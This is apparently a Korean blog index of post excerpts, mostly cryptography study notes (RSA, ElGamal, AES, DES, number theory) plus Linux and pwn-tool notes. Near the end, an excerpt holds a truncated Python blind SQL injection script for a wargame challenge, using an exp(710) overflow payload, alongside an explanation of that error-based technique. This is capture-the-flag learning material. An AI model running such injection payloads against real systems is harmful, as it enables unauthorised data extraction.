실제로 앱 개발할때도 써본 RSA 알고리즘!! 정보보호이론 시간에 배워서 너무 좋았다... RSA는 가장 유명한 공개키(비대칭키)암호이다. 비대칭키 암호는 좀 느리지만, 인증, 디지털서명 등 분야에서 중요하게 사용된다. RSA라는 이름은 Rivest, Shamir, Adleman의 줄임말로 발명한 사람들 이름 앞자를 딴 것이다. 모든 유저는 e, n, d를 계산해서 e,n은 공개하고 d는 갖고 있는다. 각각 생성했으니까 각자 값이 다 다르다 RSA Key Generation 1. 두 소수 $p$, $q$를 생성한다. $p$와 $q$는 달라야한다. $p$와 $q$는 Miller-Rabin 방식으로 홀수 하나를 만들어서 소수인지 확인하는 방식으로 선택한다. 2. $n = p \cdot q$를 계산한다. 3...
꼭 해보고 싶은 연구이다!! 일단 Mp = 2^p -1 이 메르센 수라고 불리고, 소수일수도 있고 아닐수도 있다. 2^2 -1 2^3 -1 2^5 -1 2^7 -1 2^11 -1 2^13 -1 .... 쭉쭉 숫자들... 여기서는 놀랍게도 11빼고 다 소수이다. 꽤 높은 확률임..! 그래서 계속 이런식으로 돌리기 시작한다. 가장 최근인 2018년에 찾은 소수는 51번째 수이다. 2^(82589333)-1 이 연구 이름이 GIMPS이다. 컴퓨터 시스템 stress testing에 자주 쓰인다고 한당. https://www.mersenne.org/download/
(A * B) mod C = (A mod C * B mod C) mod C A^B mod C의 경우에는 위 성질을 이용해도 되지만, 빠른 모듈로 거듭제곱법을 이용하면 훨씬 빠르게 풀 수 있다. 출처: https://ko.khanacademy.org/computing/computer-science/cryptography/modarithmetic/a/fast-modular-exponentiation 임의의 B에서 A^B mod C를 빨리 계산하는 방법 1단계: 이진수를 이용하여 B를 2의 거듭제곱으로 분해합니다. 맨 오른쪽 숫자부터 시작합니다. k=0이고 각각의 숫자는 다음과 같이 처리합니다. 숫자가 1이면 2^k 를 추가하고 그렇지 않으면 추가하지 않습니다 K에 이 숫자의 자릿수 1을 추가하고 다음 숫자를..
Elliptic Curve CryptionSystem은 keysize가 엄청 작은 장점이 있다!!!! 일단 타원곡선은 형태로 정의되는 곡선이다. 이런식으로 생김... 특징은, 4a^3+27b^2 ≠0 이어야 하는데, 식이 실근,허근 상관 없이 3개의 근을 가져야 하기 때문이다. 일단 이 점들의 집합에 대해서도 + 부호에 대해서 Abelian Group을 채택하고 싶어한다. 아벨 군의 조건은 다음과 같다. 예를 들어, E = {(x,y) | y^2 = x^3 - 4x} 라는 타원 곡선 위의 모든 점의 집합을 정의해보자. Operation (+): 점 덧셈 (point addition) 아벨군을 +연산에 대해서 정의하는걸 시도해보자. 위에서 제시한 조건들 중, 4번인 Identity는 (0,0)이나 무한대인..
ElGamal이라는 사람이 만든 엘가말 암호 역시 RSA, Rabin암호처럼 공개키(비대칭키) 암호이다. ElGamal암호의 핵심은 Discrete Logarithm Problem(이산 대수 문제) 이다. p가 소수이면, 은 abelian group이다. (곱셈역이 항상 존재하니까...) Zp* = { 1, 2, ..., p-1 } 아벨군에 대한 설명은 https://sweetdev.tistory.com/749 를 참고하자. Zp*에 대한 설명은 https://sweetdev.tistory.com/758 를 참고하자. 아벨군이란? 이 다섯가지 규칙을 만족하는 군(Group)이다. Zp* = {1, 2, ..., p-1 }에 속한 임의의 g에 대해서, g^x mod p를 계산해보자. (1
[version 1] 조건: p가 소수이고 a가 하나의 정수로서 p는 a를 나누지 못한다. 이 페르마의 리틀 정리는 지수계산을 쉽게 하는걸 도와준다. 예를 들어 p=11, a=6으로 정하면 6^10 mod 11 = 1이다. 증명 집합 A를 {1, 2, ..., p-1} 이라고 하자. 집합 A에 a를 곱한 {a, 2a, ..., (p-1)a} 집합을 집합 B라고 하자. 조건에 따라 p는 a를 나누지 못한다. 따라서 집합 B에다가 mod p를 취해주면 집합 A와 같아진다. 모듈러의 성질인, (A * B) mod C = (A mod C * B mod C) mod C임을 이용하자! A, B에 있는 원소들을 각각 곱한다. 1 * 2 * ... * (p-1) = (a mod p) * (2a mod p) * ... ..
1. Multiplicative Cipher 알파벳은 26자리고, key는 Z26*에 들어있으니까 1, 3, 5, 7, 9, 11, 15, 17, 18, 21, 23, 25 중에 하나이다. 12개밖에 안된다!! 만약 key가 7이라고 치면, hello -> 7 4 11 11 14 encryption하면 (7 * 7) mod 26 ... 해서 23 02 25 25 20이고 XCZZU이다. 키가 12개밖에 없다는 Multiplicative Cipher의 단점을 보완하는 Affine Cipher!! 2. Affine Cipher 12개 * 26개 의 키가 가능해진다.
[정의] $Zn$에서 $(a*b)\mod n = 1 $이면 $a, b$는 곱셈역 관계이다. [구하는 방법 3가지] 1. 노가다로 구하기 2. 페르마의 소정리를 이용하기 3. extended euclid algorithm 사용하기 ex) [Q] Z10에서 모든 곱셈역을 찾아보자. [A] Z10 = {0, ..., 9} (3, 7), (1, 1), (9, 9) [Q] Z11에서 모든 곱셈역을 찾아보자. [A] Z11 = {0, ..., 10} (1, 1), (2, 6), (3, 4), (5, 9), (7, 8), (10, 10) 그러면 Zn에 들어있는 b가 곱셈역을 가지고 있는지 어떻게 알 수 있을까? b * (Zn에 들어있는 수) == n * 임의의 수 + 1인지 확인해도 되겠지만... gcd(n, b) ..
1. Groups 2. Rings(X) 3. Fields 1. Groups * abelian(commutative) group이려면 5가지 만족 2. Field(체) 집합과 두 연산자 도 abelian이고 도 abelian이고, a ⃞ (b·c) = (a ⃞ b)·(a⃞⃞ c)가 성립하면 Field이다. 그런데, 정수들로 이루어진 field가 필요하다. 이게 바로 GF(p), GF(2^n)이다. Field에 대해서 배웠으니까 이제 Galois Field(갈로아 체)도 다룰 수 있다. GF(p) = 이고 p는 소수이다. 𝗭p = {0, 1, ..., p-1} 그러면 GF(2)를 보자. GF(2) = 이다. 덧셈, 곱셈한 결과에 mod 2를 취해줬다고 생각하면 된다. GF(2^n..
AES는 NIST(National Institute of Standards and Technology)에서 2001년에 만든 대칭키 블록 사이퍼이다. 공모전을 통해서 DES를 대체하려고 선택된 대칭키 블록 암호이다. AES는 128bits의 데이터를 복호화/암호화 한다. 10, 12, 14, 라운드를 사용한다. key size는 128, 192, 256 비트 중 하나이다. rounds cipher key size round key size AES-128 10 128 bits 128 bits AES-192 12 192 bits 128 bits AES-256 14 256 bits 128 bits pre-round는 addRoundKey함수만 수행한다. [Data Unit] 1word = 4byte 1bloc..
중앙대학교 소프트웨어대학 김성권교수님의 "정보보호이론(Information Security Theory)" 과목을 듣는 과정에서 작성한 포스트입니다. DES는 Data Encryption Standard의 줄임말로, 현대 대칭키 블록 암호중 하나이다. 1973년 NIST 미국 표준 대칭키 암호 공모를 통해 탄생했으며, IBM의 Lucifer였는데 DES로 이름이 바뀌었다 .1975년 미국 표준이 되었고 현재는 표준은 아니지만 자주 사용된다. 대칭키 암호(Symmetric key)란 암호문을 생성(암호화)할 때 사용하는 키와 암호문으로부터 평문을 복원할 때 사용하는 키가 동일한 암호 시스템이다. * confusion, diffusion이라는 성질을 만족시키기 위해 Feistel(피스텔)암호를 어떻게 사용했..
1. Euclidean Algorithm 유클리드 알고리즘은 정보보안, 암호학에서 많이 쓰인다! gcd(a, b) = gcd(b, a%b)임을 보이자. 증명 방식은 다음과 같다. 1) a와 b의 공약수인 d가, b와 a%b의 공약수임을 보인다. 2) b와 a%b의 공약수인 e가, a와 b의 공약수임을 보인다. 3) a와 b의 공약수 집합이 b와 a%b의 공약수 집합과 같다. 따라서 최대공약수도 같다. [증명] (1) d | a, d | b 인 d가 있다. 즉, a = dx, b = dy a = q*b + a%b 라고 하면, a%b = a-qb = d(x-qy) d는 a와 b와 a%b의 공약수이다. (2) e를 b와 a%b의 공약수라고 하자. e | b, e | a%b , 즉 b = ex, a%b = ey..
!!!!!! 유투브에서 pwn 튜토리얼 영상을 보는데 강사가 mac terminal로 ubuntu환경을 사용하는걸 보고 저게 뭐지??해서 찾아보다가 작성하게 된 글이다. VMware로 Ubuntu를 켜고 다음 명령어를 입력해준다. ifconfig로 내 IP를 확인해준다. inet addr를 확인하면 된다. 그런 다음 맥으로 넘어온다. 그리고 ssh username@inet_addr 를 입력하면 연결 된다. 끄고싶으면 exit 하면 된다. 끝
리눅스 콘솔에서 확인해보면, 다음과 같이 drwxr-x---, d----어쩌고 등 여러가지의 권한이 있는걸 볼 수 있다. 각각이 무슨 의미인지 알아보자! 확인하기 ls -al 출력 결과는 각각 파일종류 및 권한(퍼미션), 링크수, 사용자(소유자), 그룹, 파일크기, 수정시간, 파일이름을 나타낸다. - d rwx r-x r-x 위 정보는 4부분으로 나눌 수 있습니다. - d: 파일(-), 디렉토리(d)를 구분 rwx 사용자(owner, 소유자) 권한(퍼미션) r-x 그룹(group) 권한 r-x 다른 사용자(other) 권한 rwx는 각각 읽기(read), 쓰기(write), 실행(execute) 권한을 나타냅니다. (참고로 디렉토리의 경우 실행권한이 있어야 디렉토리에 들어갈 수 있습니다.) 바꾸기 cho..
1. checksec.sh 실행 파일에서 제공하는 보안 매커니즘을 읽기 쉬운 형태로 표시해주는 쉘 스크립트 예비 조사 단계에서 수행하는 RELRO, SSP, NX bit을 확인하는데 사용한다. 2. peda gdb의 기능을 강화하는 확장 스크립트 디버그 정보 표시 강화, 간이 ROP 가젯 검색, 메모리 검색 강화 등 longld/peda는 파이썬 3 지원안해서 zachriggle/peda 사용..ㅠ [peda의 편리한 명령들] pdissassemble(pdisass) 구문 강조된 역어셈블 결과 출력 ropgadget ROP 수행할 때 편리한 가젯 표시 pattern 버퍼 오버플로우시 어느 부분이 레지스터에 대입되어 있는지 등 조사 vmmap 실행중인 응용프로그램이 메모리 영역 어떻게 확보하고 있는지 표시..
techgenix.com/vmware-fusion-5-enable-vt-xept-inside-a-virtual-machine-288/ VMware Fusion 5: Enable VT-x/EPT inside a virtual machine VMware has done a great job in recent versions of Fusion, Workstation and vSphere when it comes to allowing users to run other hypervisor applications inside a virtual machine. In fact, many of my recent blog posts here at virtualizationadmin.com are usi techgenix...
SQL Injection에서 엄청 많이 사용되는 'union' 연산자이다. union 연산자를 쓰면, 여러개의 SELECT문의 결과를 합집합해서 보여줄 수 있다. 각각의 SELECT 문은 컬럼 갯수가 같아야 한다. 컬럼의 데이터 타입이 비슷하거나 같아야 한다. 컬럼의 순서가 같아야 한다. SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2; 만약 결과를 중복해서 보여주고 싶다면, SELECT column_name(s) FROM table1 UNION ALL SELECT column_name(s) FROM table2; UNION ALL을 사용하면 된다. SELECT City, Country FROM Customers WHER..
ji-itstory17.tistory.com/entry/CTF를-위한-공부-가이드
스크립트 돌린 결과가 이렇게 나와서 혼란스러웠다. @이 두개..?? 뭔가 비슷한듯 다르다. import requests password = "" for i in range(30): for j in range(48, 122): URL = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php' query = {'order': "(select exp(710) where (substr(email, " + str(i+1) + ", 1)='" + chr(j) + "'))"} headers = {'Content-Type': 'application/json:charset=utf-8'} cookies = {'PHPSESSID': '5u..
exponent(지수) 의 기능을 갖춘 exp(x)함수는 e^x을 double 형태로 반환한다. 이 함수에는 치명적인 결함이 있는데, x가 709.782712893이 넘으면 오류가 난다는 것이다...! 아마 2.7^ 709 = 6.869242e+305 인데 이정도 이상의 숫자를 못다루는 자료형을 내부적으로 쓰는걸까? (float이 3.4E-38(-3.4*10^38) ~ 3.4E+38(3.4*10^38) (7digits) 인거랑 관련이 있나 생각해봤는데 그건 아닌것같다) 아무튼, 이러한 overflow를 이용해서 exp(710 * condition) 으로 해서, condition이 참이면 에러가 나고 거짓이면 정상인 점을 이용해서 SQL Injection을 시도한다.